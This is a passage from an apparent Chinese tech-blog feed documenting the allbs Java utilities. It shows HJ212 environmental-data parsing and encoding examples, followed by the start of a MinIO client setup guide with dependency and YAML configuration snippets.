class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w01014&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">1425</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w01010&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">9.7</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w01008&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w01019&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">4.102818</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;w01009&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;SampleTime&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Rtd&quot;</span><span class="punctuation">:</span> <span class="number">10.15</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Min&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Avg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Max&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsRtd&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsAvg&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;ZsMax&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Flag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;N&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;EFlag&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Cou&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RS&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;RT&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Ala&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;UpValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;LowValue&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;Data&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;DayData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;NightData&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;Device&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;LiveSide&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h3 id="生成Hj212编码">生成Hj212编码</h3><h4 id="先构建Cp再生成hj212">先构建Cp再生成hj212</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">HjData</span> <span class="variable">data</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HjData</span>();</span><br><span class="line">data.setSt(<span class="string">&quot;32&quot;</span>);</span><br><span class="line">data.setCn(<span class="string">&quot;2011&quot;</span>);</span><br><span class="line">data.setPw(<span class="string">&quot;123456&quot;</span>);</span><br><span class="line">data.setMn(<span class="string">&quot;NJGDKYYC202101q0001w0001&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">CpData</span> <span class="variable">cp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CpData</span>();</span><br><span class="line">data.setCp(cp);</span><br><span class="line">cp.setDataTime(<span class="string">&quot;20210305003817000&quot;</span>);</span><br><span class="line"></span><br><span class="line">Map&lt;String, Pollution&gt; pollutionMap = <span class="keyword">new</span> <span class="title class_">LinkedHashMap</span>&lt;&gt;();</span><br><span class="line">cp.setPollution(pollutionMap);</span><br><span class="line"></span><br><span class="line"><span class="type">Pollution</span> <span class="variable">ele01</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Pollution</span>();</span><br><span class="line">pollutionMap.put(<span class="string">&quot;ele01&quot;</span>, ele01);</span><br><span class="line">ele01.setRtd(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;1&quot;</span>));</span><br><span class="line"></span><br><span class="line"><span class="type">Pollution</span> <span class="variable">ele02</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Pollution</span>();</span><br><span class="line">pollutionMap.put(<span class="string">&quot;ele02&quot;</span>, ele02);</span><br><span class="line">ele02.setRtd(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0&quot;</span>));</span><br><span class="line"><span class="type">T212Mapper</span> <span class="variable">mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">T212Mapper</span>().enableDefaultParserFeatures().enableDefaultVerifyFeatures();</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    result = mapper.writeDataAsString(data);</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">    log.error(<span class="string">&quot;转换失败&quot;</span> + e.getLocalizedMessage());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="已有Cp生成hj212编码">已有Cp生成hj212编码</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">data</span> <span class="operator">=</span> <span class="string">&quot;ST=27;Flag=4;CN=2011;PW=123456;MN=DYGLO000001A000001;CP=&amp;&amp;DataTime=20210823075400;a01011-Rtd=0.00,a01011-Flag=N;a01014-Rtd=15.00,a01014-Flag=N;a01015-Rtd=41.10,a01015-Flag=N;a01013-Rtd=-18.74,a01013-Flag=N;a00000-Rtd=0.00,a00000-Flag=N;a05002-Rtd=-0.94,a05002-Flag=N;a24088-Rtd=1.25,a24088-Flag=N;a05002-Cou=0.00,a05002-Flag=N;a24088-Cou=0.00,a24088-Flag=N;&amp;&amp;&quot;</span>;</span><br><span class="line"><span class="type">StringWriter</span> <span class="variable">writer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringWriter</span>();</span><br><span class="line"><span class="type">T212Generator</span> <span class="variable">generator</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">T212Generator</span>(writer);</span><br><span class="line">generator.setGeneratorFeature(Feature.collectFeatureDefaults(GeneratorFeature.class));</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    generator.writeHeader();</span><br><span class="line">    generator.writeDataAndLenAndCrc(data.toCharArray());</span><br><span class="line">    generator.writeFooter();</span><br><span class="line">    System.out.println(writer.toString());</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">    log.error(<span class="string">&quot;转换失败&quot;</span> + e.getLocalizedMessage());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="结果-4">结果</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">##0109ST=32;CN=2011;PW=123456;MN=NJGDKYYC202101q0001w0001;CP=&amp;&amp;DataTime=20210305003817000;ele01-Rtd=1;ele02-Rtd=0&amp;&amp;8c41\r\n</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">allbs工具类说明 - hj212工具类</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="hj212" scheme="https://blog.allbs.cn/tags/hj212/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - minio操作</title>
    <link href="https://blog.allbs.cn/posts/64797/"/>
    <id>https://blog.allbs.cn/posts/64797/</id>
    <published>2022-04-17T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.2</td></tr><tr><td>spring-boot-autoconfigure</td><td>2.7.2</td></tr><tr><td>minio</td><td>8.4.3</td></tr><tr><td>allbs-common</td><td>1.1.6</td></tr><tr><td>spring-boot-starter-web</td><td>2.7.2</td></tr></tbody></table><h2 id="说明">说明</h2><div class="note blue icon-padding flat"><i class="note-icon fas fa-bullhorn"></i><p>📖  当前工具包自 1.1.7之后不再维护更新，相关功能请看allbs-oss 包含当前工具所有功能。</p><p><a href="/posts/25012/" title="allbs工具类说明 - oss工具">📂 oss相关文件操作</a></p></div><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-minio<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.1.7<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.7.2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.squareup.okhttp3<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>okhttp<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>4.8.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-minio:1.1.7&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-minio:1.1.7&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="添加配置">添加配置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">minio:</span></span><br><span class="line">  <span class="attr">url:</span> <span class="string">nas.allbs.cn</span> <span class="comment">#链接 必须</span></span><br><span class="line">  <span class="attr">access-key:</span> <span class="string">907T52D29TYFO49WGZH2</span> <span class="comment">#access-key 必须 注意8.0 之后不再为登录账号 user-&gt;account 中生成</span></span><br><span class="line">  <span class="attr">secret-key:</span> <span class="string">xxxxxxxxxxxxxxxxxxxxxxxxxxxxx</span> <span class="comment">#secret-key 必须 注意8.0 之后不再为登录账号</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">9006</span> <span class="comment"># 端口 不设置将为9000</span></span><br><span class="line">  <span class="attr">secure:</span> <span class="literal">true</span> <span class="comment"># 是否启用ssl true为https，false为http 默认为false</span></span><br><span class="line">  <span class="attr">bucket-name:</span> <span class="string">pic</span> <span class="comment"># 基础目录 可不设置 